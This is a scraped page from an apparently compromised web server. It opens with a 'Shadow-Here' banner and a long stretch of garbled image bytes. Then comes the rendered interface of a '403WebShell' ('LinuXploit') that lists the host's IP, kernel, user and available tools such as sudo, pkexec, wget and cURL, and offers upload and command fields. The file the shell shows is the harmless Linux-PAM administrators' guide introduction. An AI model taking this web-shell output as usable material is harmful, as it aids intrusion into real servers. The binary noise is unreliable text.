....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 107.180.102.13  /  Your IP : 216.73.216.42
Web Server : Apache
System : Linux ip-107-180-102-13.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : nobody ( 99)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/pam-1.1.8/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/pam-1.1.8/html/sag-introduction.html
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Chapter 1. Introduction</title><meta name="generator" content="DocBook XSL Stylesheets V1.78.1"><link rel="home" href="Linux-PAM_SAG.html" title="The Linux-PAM System Administrators' Guide"><link rel="up" href="Linux-PAM_SAG.html" title="The Linux-PAM System Administrators' Guide"><link rel="prev" href="Linux-PAM_SAG.html" title="The Linux-PAM System Administrators' Guide"><link rel="next" href="sag-text-conventions.html" title="Chapter 2. Some comments on the text"></head><body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF"><div class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="3" align="center">Chapter 1. Introduction</th></tr><tr><td width="20%" align="left"><a accesskey="p" href="Linux-PAM_SAG.html">Prev</a> </td><th width="60%" align="center"> </th><td width="20%" align="right"> <a accesskey="n" href="sag-text-conventions.html">Next</a></td></tr></table><hr></div><div class="chapter"><div class="titlepage"><div><div><h1 class="title"><a name="sag-introduction"></a>Chapter 1. Introduction</h1></div></div></div><p>
      <span class="emphasis"><em>Linux-PAM</em></span> (Pluggable Authentication
      Modules for Linux) is a suite of shared libraries that enable the
      local system administrator to choose how applications authenticate users.
    </p><p>
      In other words, without (rewriting and) recompiling a PAM-aware
      application, it is possible to switch between the authentication
      mechanism(s) it uses. Indeed, one may entirely upgrade the local
      authentication system without touching the applications themselves.
    </p><p>
      Historically an application that has required a given user to be
      authenticated, has had to be compiled to use a specific authentication
      mechanism.  For example, in the case of traditional UN*X systems, the
      identity of the user is verified by the user entering a correct
      password.  This password, after being prefixed by a two character
      ``salt'', is encrypted (with crypt(3)). The user is then authenticated
      if this encrypted password is identical to the second field of the
      user's entry in the system password database (the
      <code class="filename">/etc/passwd</code> file).  On such systems, most if
      not all forms of privileges are granted based on this single
      authentication scheme. Privilege comes in the form of a personal
      user-identifier (UID) and membership of various groups. Services and
      applications are available based on the personal and group identity
      of the user. Traditionally, group membership has been assigned based
      on entries in the <code class="filename">/etc/group</code> file.
    </p><p>
      It is the purpose of the <span class="emphasis"><em>Linux-PAM</em></span>
      project to separate the development of privilege granting software
      from the development of secure and appropriate authentication schemes.
      This is accomplished by providing a library of functions that an
      application may use to request that a user be authenticated. This
      PAM library is configured locally with a system file,
      <code class="filename">/etc/pam.conf</code> (or a series of configuration
      files located in <code class="filename">/etc/pam.d/</code>) to authenticate a
      user request via the locally available authentication modules. The
      modules themselves will usually be located in the directory
      <code class="filename">/lib/security</code> or
      <code class="filename">/lib64/security</code> and take the form of dynamically
      loadable object files (see <span class="citerefentry"><span class="refentrytitle">dlopen</span>(3)</span>).
    </p></div><div class="navfooter"><hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="Linux-PAM_SAG.html">Prev</a> </td><td width="20%" align="center"> </td><td width="40%" align="right"> <a accesskey="n" href="sag-text-conventions.html">Next</a></td></tr><tr><td width="40%" align="left" valign="top">The Linux-PAM System Administrators' Guide </td><td width="20%" align="center"><a accesskey="h" href="Linux-PAM_SAG.html">Home</a></td><td width="40%" align="right" valign="top"> Chapter 2. Some comments on the text</td></tr></table></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit